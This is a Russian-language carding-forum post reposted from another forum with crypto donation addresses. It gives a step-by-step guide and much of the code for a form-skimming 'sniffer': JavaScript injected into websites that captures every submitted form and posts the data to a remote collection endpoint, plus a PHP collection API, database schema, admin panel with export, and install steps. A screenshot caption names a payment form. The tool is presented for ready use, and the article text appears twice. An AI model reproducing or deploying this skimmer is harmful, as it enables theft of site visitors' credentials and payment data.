Grant Cardone
Carder
- Messages
- 44
- Reaction score
- 5
- Points
- 8
статья не моя, статья с закрытого форума, огромный респект подобным авторам, благодарность скидывать сюда -
BTC - bc1qtkc8zv8xzmh7vvw3gpkds3e69wcfv0pja37eqs
LTC - ltc1qup9wppm5mnccdw2j9v9z7stmmpskdk792j3gy9
ERC-20 (USDT ERC-20, USDT BEP-20, ETHEREUM and etc.) - 0xF1b1830b687Ed2BB77956bD7Cc8489081A768256
TRON (USDT TRC-20, TRX) - TCCTWKBhuBMxY6UyLzBMFAmkKSqXzWwk3F
Автор статьи society ссылка https://xss.is/members/428204/ источник https://xss.is/threads/141000/
Уважаемые читатели, всех приветствую. После написания своей первой статьи я начал мониторить свои сервера на наличие полезного кода, который сможет помочь рядовым пользователям в работе и наткнулся на свой старый sniffer и в моей голове промелькнула идея написать развернутую статью по написанию своего sniffer'a и панели к нему. Оптимизировав свой старый код и доработав панель, я добился практически идеального и полностью рабочего инструмента, который выполняет все свои заявленные функции. На момент написания этой статьи (00:00 : 01.07.25) код (а конкретнее сама панель) имеет множество мелких недоработок, которые никак не влияют на конечную работоспособность проекта.
Содержание:
Часть 1: Архитектура и основные компоненты
Часть 1: Архитектура и основные компоненты
Архитектурный обзор системы
Sniffer представляет собой распределенную систему мониторинга веб-форм, построенную на принципе минимального вмешательства в работу сайтов. Основная идея заключается в том, что одна строка JavaScript-кода на любом сайте начинает автоматически собирать данные о всех отправляемых формах и передавать их в панель для хранения и дальнейшего использования.
Система состоит из трех ключевых компонентов:
Скрипт для сбора данных с форм (sniffer.js)
Клиентская часть реализована в виде JavaScript размером всего 3KB. Весь код заключен в IIFE (Immediately Invoked Function Expression), что исключает конфликты с существующим кодом на сайте.
Конфигурация и настройки:
Конфиг содержит все критические настройки. Таймаут в 5 секунд гарантирует, что неудачная отправка данных не заблокирует пользователя.
Механизм сбора данных
Сердце системы - функция извлечения данных из форм:
Использование AbortController позволяет корректно отменять запросы при превышении таймаута. Экспоненциальная задержка между повторными попытками (1с, 2с, 3с) предотвращает перегрузку сервера. Важный момент - ошибка AbortError не вызывает повторную попытку, так как это означает принудительную отмену по таймауту.
Обработка событий и восстановления
Использование capturing phase (третий параметр true) гарантирует, что обработчик сработает даже если другой код на странице остановит всплытие события.
Особенно интересна система восстановления неудачных отправок:
Неудачные отправки сохраняются в sessionStorage (максимум 10 записей) и автоматически повторяются при следующей загрузке страницы. Это обеспечивает максимальную полноту собираемых данных.
Конфигурация (config.php)
Центральный модуль конфига построен на современных принципах PHP с использованием строгой типизации и переменных окружения.
Каждая настройка имеет разумное значение по умолчанию, но может быть переопределена через переменные окружения. Это критически важно для развертывания в разных средах без изменения кода.
Настройки безопасности
Все параметры безопасности сгруппированы и имеют консервативные значения. Rate limiting ограничивает 100 запросов в час с одного IP, максимальный размер данных - 1MB.
Подключение к базе данных
Использование статической переменной гарантирует единственное подключение к БД в рамках одного запроса. Опции PDO настроены для максимальной безопасности - отключены эмулированные prepared statements, включена строгая обработка ошибок.
Универсальные утилиты:
Класс Security содержит часто используемые функции безопасности. Особое внимание на использование hash_equals() вместо обычного сравнения - это предотвращает timing attacks.
Структура базы данных:
Использование BIGINT для первичного ключа обеспечивает поддержку миллиардов записей. JSON-поле для данных форм позволяет хранить произвольную структуру. Индексы покрывают основные сценарии поиска и фильтрации.
Таблица пользователей:
Простая, но функциональная схема пользователей с ролевой моделью и автоматическим отслеживанием времени изменений.
Ограничения лимитов:
Элегантное решение для ограничения лимитов - составной первичный ключ из IP и часа позволяет эффективно отслеживать количество запросов с использованием INSERT ... ON DUPLICATE KEY UPDATE.
Часть 2 - API и система безопасности
API сбора данных (collect.php)
Серверная часть системы реализована как самодостаточный класс FormCollector, который обрабатывает все входящие запросы от клиентских сайтов. Архитектура построена на принципе "безопасность прежде всего" с многоуровневой защитой от различных видов атак.
Архитектура класса FormCollector
Класс объединяет всю логику обработки запросов. Конфиг вынесен в отдельный массив, что упрощает тестирование и изменение параметров без пересборки кода.
Обработка входящих запросов:
Каждый запрос проходит через строгую последовательность проверок. Принцип "fail fast" - при первой же проблеме запрос отклоняется с соответствующим HTTP-кодом.
Ограничения частоты запросов:
Ограничения реализованы на основе окна времени в 1 час. Использование ON DUPLICATE KEY UPDATE позволяет увеличивать счетчик запросов. Важный момент - в случае ошибки БД система "проваливается в открытое состояние" (fail open), что предотвращает блокировку легитимного трафика при проблемах с БД.
Определение реального IP клиента:
Функция учитывает различные заголовки прокси и CDN (Cloudflare, загрузочные балансировщики). Фильтрация исключает приватные и зарезервированные диапазоны IP, что предотвращает подделку внутренних адресов.
Валидация входящих данных:
Двухэтапная валидация: сначала проверяются обязательные поля и их формат, затем происходит санитизация данных. Метаданные (URL, timestamp, referrer) обрабатываются отдельно от пользовательских данных форм.
Отчистка данных:
Ограничение в 1000 символов предотвращает атаки через передачу огромных объемов данных. Экранирование HTML-сущностей защищает от XSS уязвимостей при отображении данных в админ-панели.
Валидация временных меток:
Поддерживаются два формата ISO 8601 - с микросекундами и без. Это обеспечивает совместимость с различными JavaScript-реализациями генерации временных меток.
Настройка безопасности:
Комплексная настройка заголовков безопасности:
Обработка preflight-запросов
Корректная обработка OPTIONS-запросов критически важна для CORS. Браузер отправляет preflight-запрос перед основным POST-запросом, и если сервер не ответит правильно, основной запрос будет заблокирован.
Ограничение в 1MB предотвращает DoS-атаки через отправку огромных JSON-объектов. Проверка json_last_error() гарантирует корректность JSON-структуры.
Генерация ID сессии:
Если PHP-сессия не инициализирована, генерируется зашифрованный случайный идентификатор длиной 32 символа.
Сохранение данных в БД:
Использование prepared statements предотвращает SQL-инъекции. JSON_UNESCAPED_UNICODE обеспечивает корректное сохранение Unicode-символов в JSON.
Обработка ошибок:
Стандартизированный формат ответов упрощает обработку на клиентской стороне. Временная метка в ответах об ошибках помогает при отладке.
Глобальная обработка исключений:
Catch блок для Throwable перехватывает все возможные ошибки и исключения, предотвращая раскрытие внутренней информации о системе.
Часть 3. Админ панель.
Система аутентификации (login.php, logout.php)
Система аутентификации построена на современных принципах безопасности с поддержкой устойчивых сессий и защитой от атак методом подбора.
Архитектура входа в систему:
Базовая валидация происходит на серверной стороне, несмотря на наличие клиентской проверки. Никогда не стоит доверять данным клиента, все необходимо проверять.
Проверка учетных данных:
Использование password_verify() обеспечивает безопасную проверку хешированных паролей. Поле is_active позволяет временно отключать пользователей без удаления их данных.
Управление сессиями:
Сессии сохраняются в БД с привязкой к IP и User-Agent. Это позволяет отслеживать активные сессии и принудительно завершать их при необходимости. Опция "запомни меня" увеличивает время жизни до 30 дней.
Система "запомни меня"
Токен "remember me" представляет собой хеш от комбинации session_id и user_id. Это предотвращает возможность подделки токенов, так как хАкЕрЫ не смогут угадать session_id.
Сохранение активной сессии:
Проверка токена происходит через SQL-запрос с использованием функции SHA2. Если токен недействителен или истек, он автоматически удаляется.
Безопасный выход из аккаунта:
Полная очистка: логирование выхода, удаление записи сессии из БД, очистка PHP-сессии, удаление всех связанных cookies.
Основной интерфейс панели (admin.php)
Админ панель представляет собой "лендинг-страницу" со всем пользовательским функционалом:
Проверка авторизации и инициализация:
Каждый запрос к админ-панели начинается с проверки авторизации. ATTR_EMULATE_PREPARES => false заставляет MySQL использовать настоящие prepared statements.
Система фильтрации:
Динамическое построение WHERE-условий позволяет комбинировать различные фильтры. Использование JSON_SEARCH() обеспечивает поиск внутри JSON-полей с данными форм.
Получение статистики:
Сбор статистики происходит через отдельные запросы. Конечно, это менее эффективно, чем один сложный запрос, но значительно понятнее и легче в сопровождении.
Вспомогательные функции:
Функции для форматирования данных в удобочитаемом виде. formatJsonData() автоматически обрезает длинные значения и добавляет CSS-классы для подсветки синтаксиса.
Определение типа устройства и браузера:
Простой парсинг User-Agent для определения типа устройства и браузера. Регулярные выражения проверяются в порядке приоритета.
Клиентская логика управления профилями:
Загрузка профиля происходит через AJAX-запрос к API. Обработка ошибок включает как технический лог в консоль, так и пользовательское уведомление.
Валидация паролей на клиенте:
Оценка сложности пароля по пяти критериям. Визуальная индикация помогает пользователю создать надежный пароль.
Система уведомлений:
Самоуничтожающиеся уведомления с анимацией. Задержка в 100ms перед добавлением класса show обеспечивает корректную CSS-анимацию.
Логи активности:
Детали операции сохраняются в JSON-формате, что позволяет хранить произвольную структуру данных для каждого типа действия.
Отображение логов активности:
Динамическое построение интерфейса на основе данных из API. Каждый тип действия получает соответствующую иконку и форматирование.
Автоматическая отчистка данных:
Вероятностная очистка (1% запросов) обеспечивает удаление устаревших данных без дополнительных cron-задач. Использование register_shutdown_function() гарантирует выполнение очистки после обработки пользовательского запроса.
Часть 4. Функциональные модули
Система экспорта данных (export.php)
Модуль экспорта предоставляет гибкие возможности выгрузки собранных данных в различных форматах с применением фильтров и ограничений по безопасности.
Инициализация и проверка доступа:
Строгая проверка авторизации предшествует любым операциям. В случае ошибки подключения к БД пользователь получает HTTP 500 без раскрытия технических деталей.
Обработка параметров экспорта:
Ограничение в 10,000 записей предотвращает экспорт огромных объемов данных, который может привести к таймауту или исчерпанию памяти. Поиск работает как по URL страниц, так и по содержимому JSON-данных форм.
Удобный экспорт результатов в CSV формате:
Добавление BOM (Byte Order Mark) в начало файла обеспечивает корректное отображение UTF-8 символов в Excel. Использование php://output позволяет напрямую выводить данные в браузер без создания временного файла.
Экспорт в JSON:
JSON-экспорт включает метаинформацию о выгрузке и автоматически парсит JSON-поля для удобства анализа. Флаг JSON_PRETTY_PRINT делает файл спокойно читаемым.
Экспорт в Excel:
Вкусовщина. Лично я часто использую Excel таблицы в работе, поэтому эта функция была реализована скорее для себя, нежели для активного использования.
Логирование экспортов:
Каждый экспорт логируется с указанием формата, примененных фильтров и количества экспортированных записей. Ошибки логирования не прерывают основной процесс экспорта.
API удаления (delete.php)
Модуль удаления обеспечивает безопасное удаление записей с детальным контролем доступа и логированием всех операций.
Проверка прав доступа:
Двухуровневая проверка: сначала аутентификация, затем авторизация по роли. Только администраторы могут удалять данные. Все ответы в JSON-формате для единообразия API.
Удаление записей:
Проверка существования записи перед удалением предотвращает ложные сообщения об успехе. Детали удаленной записи сохраняются в логе для возможного восстановления.
Массовое удаление записей:
Ограничение в 1000 записей предотвращает случайное удаление всей базы. Динамическое построение плейсхолдеров обеспечивает безопасность prepared statements для произвольного количества ID.
Автоматическая отчистка:
Ограничение в 1000 записей предотвращает случайное удаление всей базы. Динамическое построение плейсхолдеров обеспечивает безопасность prepared statements для произвольного количества ID.
Автоматическая отчистка:
Функция очистки позволяет удалять данные старше указанного количества дней. Диапазон ограничен от 1 до 365 дней для предотвращения ошибок.
Профили пользователей (profile.php)
API управления профилями поддерживает CRUD-операции с динамическим расширением схемы БД.
Получение профиля пользователя:
Хеш пароля исключается из ответа для безопасности, даже если злоумышленник получит доступ к API-ответу.
Динамическое обновление схемы:
Автоматическое добавление колонок обеспечивает обратную совместимость при развертывании на существующих инсталляциях. Whitelist разрешенных полей предотвращает изменение критических данных.
Смена пароля:
Обязательная проверка текущего пароля предотвращает несанкционированную смену пароля при компрометации сессии.
Логи активности (activity.php)
Простой API для получения персонального лога активности пользователя.
Ограничение 20 записями предотвращает передачу больших объемов данных. Пользователь видит только свою активность, что обеспечивает конфиденциальность.
Интеграция с фронтом:
Клиентские утилиты для форматирования отображения активности. Каждому типу действия соответствует своя иконка из Font Awesome.
Часть 5. Установка и настройка
Системные требования:
Сервер:
PHP версия 8.0 или выше обязательна для корректной работы строгой типизации (declare(strict_types=1)):
php -v необходимый результат - версия PHP 8.0.0+
Необходимые расширения PHP:
Проверка установленных расширений: php -m | grep -E "(pdo|pdo_mysql|json|mbstring|session|openssl)"
Установка на Ubuntu/Debian: sudo apt install php8.0-pdo php8.0-mysql php8.0-json php8.0-mbstring php8.0-openssl
Установка на CentOS: sudo yum install php80-php-pdo php80-php-mysqlnd php80-php-json php80-php-mbstring php80-php-openssl
Настройки PHP (php.ini)
База данных:
MySQL версии 5.7+ для поддержки данных типа JSON.
Веб сервер:
Apache 2.4+ с поддержкой HTTPS соединения:
Установка и настройка:
Загрузка и размещение файлов:
Создание директории проекта: sudo mkdir -p /var/www/sniffer
Переход в созданную директорию: cd /var/www/sniffer
Размещение всех файлов системы:
Установка правильных прав доступа:
Создание директории для логов:
Настройка базы данных MySQL:
Создание пользователя и самой базы данных:
Инициализация структуры БД:
Создайте файл database.sql
Выполните инициализацию: mysql -u form_sniffer_user -p form_sniffer_prod < install.sql
Главное:
Не забудьте подключить базу данных в коде, делается это в следующих файлах:
config.php
collect.php
admin.php
login.php В ДВУХ МЕСТАХ:
logout.php
export.php
ПАПКА API (delete.php, activity.php, profile.php)
Финальный шаг в установке: установка сниффера на другие сайты.
Для установки сниффера необходимо в любом месте в коде сайта перед закрывающим</body> добавить интеграцию JS скрипта:
Или с кастомизацией настроек, например удалением ненужных форм:
excludeTypes: ['password', 'file', 'hidden'] - это означает, что будут исключены данные следующих типов: пароли, файлы, скрытые данные (******)
excludeNames: ['api_key'] - это означает, что будет исключено имя данных, которое соответствует api_key.
В этих переменных можно указывать любые данные, которые сниффер будет игнорировать.
В заключении могу сказать, что получился довольно интересный, а главное рабочий инструмент (хоть он и имеет некоторые косяки по дизайну, и в целом имеются небольшие недоработки) и каждый человек, прочитавший эту статью сможет написать собственный sniffer форм с полноценной панелью для собственной работы. Как я писал в самом начале в спойлере "ATTENTION", данный скрипт предназначается для рядового пользователя в виде рабочей базы. Если нужна функциональность "с коробки", а именно: взял готовый скрипт -> установил на сервер -> работаешь, то моя статья - идеально подходит для этого. Люди, которые разбираются в кодинге могут взять этот код в виде базы и оптимизировать его под свои нужды так, как им захочется.
У меня ушло более четырех (4:20) часов времени на непрерывное написание этой статьи по готовому коду, который я заранее доработал и привел в рабочее состояние на данный момент. Основа (база) этого кода лежала на моем сервере с начала 2024 года и это полностью самописный продукт. По реализации PHP панели может возникнуть много вопросов, т.к. практически все время при написании кода я использовал методички и видео на ютубе, т.к. я не специализируюсь на написании PHP кода (при этом я давно изучил базу, могу читать код, но свободно на нем не пишу).
Это моя крайняя статья за ближайшее время. Следующая статья выйдет скорее всего в конце лета, всему виной множество параллельных дел и отсутствие идей для написания полезных статей. Не хочу наполнять форум мусорным, некачественным контентом.
Прикладываю скриншоты панели:
(платежная форма, использовалась как пример)
этап авторизации в панель):
главное меню:
настройки админ панели:
настройки профиля:
логи активности:
смена пароля от аккаунта:
интерфейс для просмотра логов:
вид подробного лога:
.
мне задавать вопросы бесполезно. я сам выложил чтобы протестировать позже, т.к. форум закрытый, и у мня патериал в виде страницы pdf
BTC - bc1qtkc8zv8xzmh7vvw3gpkds3e69wcfv0pja37eqs
LTC - ltc1qup9wppm5mnccdw2j9v9z7stmmpskdk792j3gy9
ERC-20 (USDT ERC-20, USDT BEP-20, ETHEREUM and etc.) - 0xF1b1830b687Ed2BB77956bD7Cc8489081A768256
TRON (USDT TRC-20, TRX) - TCCTWKBhuBMxY6UyLzBMFAmkKSqXzWwk3F
Автор статьи society ссылка https://xss.is/members/428204/ источник https://xss.is/threads/141000/
Уважаемые читатели, всех приветствую. После написания своей первой статьи я начал мониторить свои сервера на наличие полезного кода, который сможет помочь рядовым пользователям в работе и наткнулся на свой старый sniffer и в моей голове промелькнула идея написать развернутую статью по написанию своего sniffer'a и панели к нему. Оптимизировав свой старый код и доработав панель, я добился практически идеального и полностью рабочего инструмента, который выполняет все свои заявленные функции. На момент написания этой статьи (00:00 : 01.07.25) код (а конкретнее сама панель) имеет множество мелких недоработок, которые никак не влияют на конечную работоспособность проекта.
Содержание:
Часть 1: Архитектура и основные компоненты
- Архитектурный обзор системы
- Клиентский модуль сборки данных (sniffer.js)
- Система конфигурации (config.php)
- Требования и зависимости
- API сбора данных (collect.php)
- Rate limiting и защита от злоупотреблений
- Валидация и санитизация данных
- CORS и безопасность
- Система аутентификации (login.php, logout.php)
- Основной интерфейс (admin.php)
- Управление пользователями и профилями
- Логирование активности
- Система экспорта данных (export.php)
- API удаления и управления (delete.php)
- Профили пользователей (profile.php)
- Логи активности (activity.php)
- Системные требования
- Установка и конфигурация
- Настройка базы данных
- Развертывание и мониторинг
- Рекомендации по безопасности
Часть 1: Архитектура и основные компоненты
Архитектурный обзор системы
Sniffer представляет собой распределенную систему мониторинга веб-форм, построенную на принципе минимального вмешательства в работу сайтов. Основная идея заключается в том, что одна строка JavaScript-кода на любом сайте начинает автоматически собирать данные о всех отправляемых формах и передавать их в панель для хранения и дальнейшего использования.
Система состоит из трех ключевых компонентов:
- Клиентский сборщик - JavaScript-модуль, легко встраиваемый на нужные нам сайты
- Серверная часть - PHP-с защищенным API для приема и обработки данных
- Админ панель - веб-интерфейс для просмотра, фильтрации и экспорта собранной информации
Скрипт для сбора данных с форм (sniffer.js)
Клиентская часть реализована в виде JavaScript размером всего 3KB. Весь код заключен в IIFE (Immediately Invoked Function Expression), что исключает конфликты с существующим кодом на сайте.
Конфигурация и настройки:
JavaScript:
const CONFIG = {
endpoint: 'https://yourdomain.com/collect.php',
timeout: 5000,
retries: 2,
};
Конфиг содержит все критические настройки. Таймаут в 5 секунд гарантирует, что неудачная отправка данных не заблокирует пользователя.
Механизм сбора данных
Сердце системы - функция извлечения данных из форм:
JavaScript:
sendData: async (data, retries = CONFIG.retries) => {
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), CONFIG.timeout);
try {
const response = await fetch(CONFIG.endpoint, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
},
body: JSON.stringify(data),
signal: controller.signal
});
clearTimeout(timeoutId);
if (!response.ok) {
throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}
return await response.json();
} catch (error) {
clearTimeout(timeoutId);
if (retries > 0 && error.name !== 'AbortError') {
// Экспоненциальная задержка
await new Promise(resolve =>
setTimeout(resolve, (CONFIG.retries - retries + 1) * 1000)
);
return utils.sendData(data, retries - 1);
}
throw error;
}
}
};
Использование AbortController позволяет корректно отменять запросы при превышении таймаута. Экспоненциальная задержка между повторными попытками (1с, 2с, 3с) предотвращает перегрузку сервера. Важный момент - ошибка AbortError не вызывает повторную попытку, так как это означает принудительную отмену по таймауту.
Обработка событий и восстановления
JavaScript:
document.addEventListener('submit', (event) => {
if (event.target.tagName === 'FORM') {
handleFormSubmit(event);
}
}, true);
Использование capturing phase (третий параметр true) гарантирует, что обработчик сработает даже если другой код на странице остановит всплытие события.
Особенно интересна система восстановления неудачных отправок:
JavaScript:
if (typeof Storage !== 'undefined') {
try {
const failedData = JSON.parse(sessionStorage.getItem('failed_form_data') || '[]');
failedData.push({ ...payload, error: error.message });
sessionStorage.setItem('failed_form_data', JSON.stringify(failedData.slice(-10)));
} catch (e) {
console.warn('Cannot save failed data to sessionStorage:', e);
}
}
Неудачные отправки сохраняются в sessionStorage (максимум 10 записей) и автоматически повторяются при следующей загрузке страницы. Это обеспечивает максимальную полноту собираемых данных.
Конфигурация (config.php)
Центральный модуль конфига построен на современных принципах PHP с использованием строгой типизации и переменных окружения.
PHP:
<?php
declare(strict_types=1);
define('APP_ENV', $_ENV['APP_ENV'] ?? 'production');
define('APP_DEBUG', APP_ENV === 'development');
define('APP_VERSION', '2.0.0');
define('DB_HOST', $_ENV['DB_HOST'] ?? 'localhost');
define('DB_NAME', $_ENV['DB_NAME'] ?? 'dbname');
define('DB_USER', $_ENV['DB_USER'] ?? 'username');
define('DB_PASS', $_ENV['DB_PASS'] ?? 'password');
define('DB_CHARSET', 'utf8mb4');
Каждая настройка имеет разумное значение по умолчанию, но может быть переопределена через переменные окружения. Это критически важно для развертывания в разных средах без изменения кода.
Настройки безопасности
PHP:
define('SESSION_LIFETIME', 3600);
define('REMEMBER_ME_LIFETIME', 2592000);
define('MAX_LOGIN_ATTEMPTS', 5);
define('LOGIN_LOCKOUT_TIME', 900);
define('PASSWORD_MIN_LENGTH', 8);
define('RATE_LIMIT_REQUESTS', (int)($_ENV['RATE_LIMIT_REQUESTS'] ?? 100));
define('RATE_LIMIT_WINDOW', 3600);
define('MAX_DATA_SIZE', 1024 * 1024);
Все параметры безопасности сгруппированы и имеют консервативные значения. Rate limiting ограничивает 100 запросов в час с одного IP, максимальный размер данных - 1MB.
Подключение к базе данных
PHP:
class DatabaseConfig {
public static function getPDO(): PDO {
static $pdo = null;
if ($pdo === null) {
$dsn = sprintf(
'mysql:host=%s;dbname=%s;charset=%s',
DB_HOST,
DB_NAME,
DB_CHARSET
);
$options = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES " . DB_CHARSET
];
try {
$pdo = new PDO($dsn, DB_USER, DB_PASS, $options);
} catch (PDOException $e) {
if (APP_DEBUG) {
throw $e;
} else {
error_log('Database connection failed: ' . $e->getMessage());
throw new Exception('Database connection failed');
}
}
}
return $pdo;
}
}
Использование статической переменной гарантирует единственное подключение к БД в рамках одного запроса. Опции PDO настроены для максимальной безопасности - отключены эмулированные prepared statements, включена строгая обработка ошибок.
Универсальные утилиты:
PHP:
class Security {
public static function generateCSRFToken(): string {
if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
public static function validateCSRFToken(string $token): bool {
return isset($_SESSION['csrf_token']) &&
hash_equals($_SESSION['csrf_token'], $token);
}
public static function sanitizeInput(string $input): string {
return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}
}
Класс Security содержит часто используемые функции безопасности. Особое внимание на использование hash_equals() вместо обычного сравнения - это предотвращает timing attacks.
Структура базы данных:
SQL:
CREATE TABLE form_submissions (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
page_url VARCHAR(500) NOT NULL,
form_data JSON NOT NULL,
form_id VARCHAR(100),
form_action VARCHAR(500),
ip_address VARCHAR(45) NOT NULL,
user_agent TEXT,
country VARCHAR(100),
city VARCHAR(100),
referrer VARCHAR(500),
session_id VARCHAR(64),
timestamp VARCHAR(30),
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
INDEX idx_page_url (page_url),
INDEX idx_ip_address (ip_address),
INDEX idx_created_at (created_at),
INDEX idx_session_id (session_id)
);
Использование BIGINT для первичного ключа обеспечивает поддержку миллиардов записей. JSON-поле для данных форм позволяет хранить произвольную структуру. Индексы покрывают основные сценарии поиска и фильтрации.
Таблица пользователей:
SQL:
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) UNIQUE NOT NULL,
password_hash VARCHAR(255) NOT NULL,
email VARCHAR(100),
role ENUM('admin', 'user') DEFAULT 'user',
is_active BOOLEAN DEFAULT TRUE,
first_name VARCHAR(50),
last_name VARCHAR(50),
bio TEXT,
last_login TIMESTAMP NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);
Простая, но функциональная схема пользователей с ролевой моделью и автоматическим отслеживанием времени изменений.
Ограничения лимитов:
SQL:
CREATE TABLE rate_limits (
ip VARCHAR(45) NOT NULL,
hour VARCHAR(13) NOT NULL,
requests INT DEFAULT 1,
PRIMARY KEY (ip, hour),
INDEX idx_hour (hour)
);
Элегантное решение для ограничения лимитов - составной первичный ключ из IP и часа позволяет эффективно отслеживать количество запросов с использованием INSERT ... ON DUPLICATE KEY UPDATE.
Часть 2 - API и система безопасности
API сбора данных (collect.php)
Серверная часть системы реализована как самодостаточный класс FormCollector, который обрабатывает все входящие запросы от клиентских сайтов. Архитектура построена на принципе "безопасность прежде всего" с многоуровневой защитой от различных видов атак.
Архитектура класса FormCollector
PHP:
class FormCollector {
private PDO $pdo;
private array $config;
public function __construct() {
$this->config = [
'db_host' => $_ENV['DB_HOST'] ?? 'localhost',
'db_name' => $_ENV['DB_NAME'] ?? 'form_sniffer',
'db_user' => $_ENV['DB_USER'] ?? 'username',
'db_pass' => $_ENV['DB_PASS'] ?? 'password',
'max_data_size' => 1024 * 1024,
'rate_limit' => 100,
'allowed_origins' => explode(',', $_ENV['ALLOWED_ORIGINS'] ?? '*')
];
$this->initDatabase();
}
}
Класс объединяет всю логику обработки запросов. Конфиг вынесен в отдельный массив, что упрощает тестирование и изменение параметров без пересборки кода.
Обработка входящих запросов:
PHP:
public function handleRequest(): void {
$this->setSecurityHeaders();
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
$this->respondWithError('Method not allowed', 405);
}
if (!$this->checkRateLimit()) {
$this->respondWithError('Rate limit exceeded', 429);
}
$data = $this->getRequestData();
if (!$data) {
$this->respondWithError('Invalid JSON data', 400);
}
$validatedData = $this->validateData($data);
if (!$validatedData) {
$this->respondWithError('Data validation failed', 400);
}
if ($this->saveData($validatedData)) {
$this->respondWithSuccess(['status' => 'success', 'id' => $this->pdo->lastInsertId()]);
} else {
$this->respondWithError('Failed to save data', 500);
}
}
Каждый запрос проходит через строгую последовательность проверок. Принцип "fail fast" - при первой же проблеме запрос отклоняется с соответствующим HTTP-кодом.
Ограничения частоты запросов:
PHP:
private function checkRateLimit(): bool {
$ip = $this->getClientIP();
$hour = date('Y-m-d H');
try {
$stmt = $this->pdo->prepare('SELECT COUNT(*) FROM rate_limits WHERE ip = ? AND hour = ?');
$stmt->execute([$ip, $hour]);
$count = $stmt->fetchColumn();
if ($count >= $this->config['rate_limit']) {
return false;
}
$stmt = $this->pdo->prepare('INSERT INTO rate_limits (ip, hour, requests) VALUES (?, ?, 1) ON DUPLICATE KEY UPDATE requests = requests + 1');
$stmt->execute([$ip, $hour]);
return true;
} catch (PDOException $e) {
error_log("Rate limit check failed: " . $e->getMessage());
return true; // Fail open
}
}
Ограничения реализованы на основе окна времени в 1 час. Использование ON DUPLICATE KEY UPDATE позволяет увеличивать счетчик запросов. Важный момент - в случае ошибки БД система "проваливается в открытое состояние" (fail open), что предотвращает блокировку легитимного трафика при проблемах с БД.
Определение реального IP клиента:
PHP:
private function getClientIP(): string {
$ip_keys = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP', 'REMOTE_ADDR'];
foreach ($ip_keys as $key) {
if (!empty($_SERVER[$key])) {
$ip = trim(explode(',', $_SERVER[$key])[0]);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
return $ip;
}
}
}
return $_SERVER['REMOTE_ADDR'] ?? 'unknown';
}
Функция учитывает различные заголовки прокси и CDN (Cloudflare, загрузочные балансировщики). Фильтрация исключает приватные и зарезервированные диапазоны IP, что предотвращает подделку внутренних адресов.
Валидация входящих данных:
PHP:
private function validateData(array $data): ?array {
$required = ['page_url', 'timestamp'];
foreach ($required as $field) {
if (!isset($data[$field]) || empty($data[$field])) {
return null;
}
}
if (!filter_var($data['page_url'], FILTER_VALIDATE_URL)) {
return null;
}
if (!$this->isValidTimestamp($data['timestamp'])) {
return null;
}
$sanitized = [
'page_url' => filter_var($data['page_url'], FILTER_SANITIZE_URL),
'timestamp' => $data['timestamp'],
'ip_address' => $this->getClientIP(),
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '',
'referrer' => $data['referrer'] ?? '',
'form_id' => $data['form_id'] ?? null,
'form_action' => $data['form_action'] ?? null,
'session_id' => $this->generateSessionId()
];
$excludeFields = ['page_url', 'timestamp', 'referrer', 'form_id', 'form_action', 'user_agent'];
$formData = array_filter($data, fn($key) => !in_array($key, $excludeFields), ARRAY_FILTER_USE_KEY);
$sanitized['form_data'] = $this->sanitizeFormData($formData);
return $sanitized;
}
Двухэтапная валидация: сначала проверяются обязательные поля и их формат, затем происходит санитизация данных. Метаданные (URL, timestamp, referrer) обрабатываются отдельно от пользовательских данных форм.
Отчистка данных:
PHP:
private function sanitizeFormData(array $data): array {
$sanitized = [];
foreach ($data as $key => $value) {
if (is_string($value) && strlen($value) <= 1000) {
$sanitized[htmlspecialchars($key, ENT_QUOTES, 'UTF-8')] =
htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
}
}
return $sanitized;
}
Ограничение в 1000 символов предотвращает атаки через передачу огромных объемов данных. Экранирование HTML-сущностей защищает от XSS уязвимостей при отображении данных в админ-панели.
Валидация временных меток:
PHP:
private function isValidTimestamp(string $timestamp): bool {
return (bool) DateTime::createFromFormat('Y-m-d\TH:i:s.u\Z', $timestamp)
|| (bool) DateTime::createFromFormat('Y-m-d\TH:i:s\Z', $timestamp);
}
Поддерживаются два формата ISO 8601 - с микросекундами и без. Это обеспечивает совместимость с различными JavaScript-реализациями генерации временных меток.
Настройка безопасности:
PHP:
private function setSecurityHeaders(): void {
header('Content-Type: application/json; charset=utf-8');
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
header('Referrer-Policy: strict-origin-when-cross-origin');
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (in_array('*', $this->config['allowed_origins']) || in_array($origin, $this->config['allowed_origins'])) {
header("Access-Control-Allow-Origin: $origin");
header('Access-Control-Allow-Methods: POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, X-Requested-With');
header('Access-Control-Max-Age: 86400');
}
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
http_response_code(200);
exit;
}
}
Комплексная настройка заголовков безопасности:
- X-Content-Type-Options: nosniff предотвращает MIME-сниффинг
- X-Frame-Options: DENY защищает от clickjacking
- X-XSS-Protection включает встроенную защиту браузера от XSS
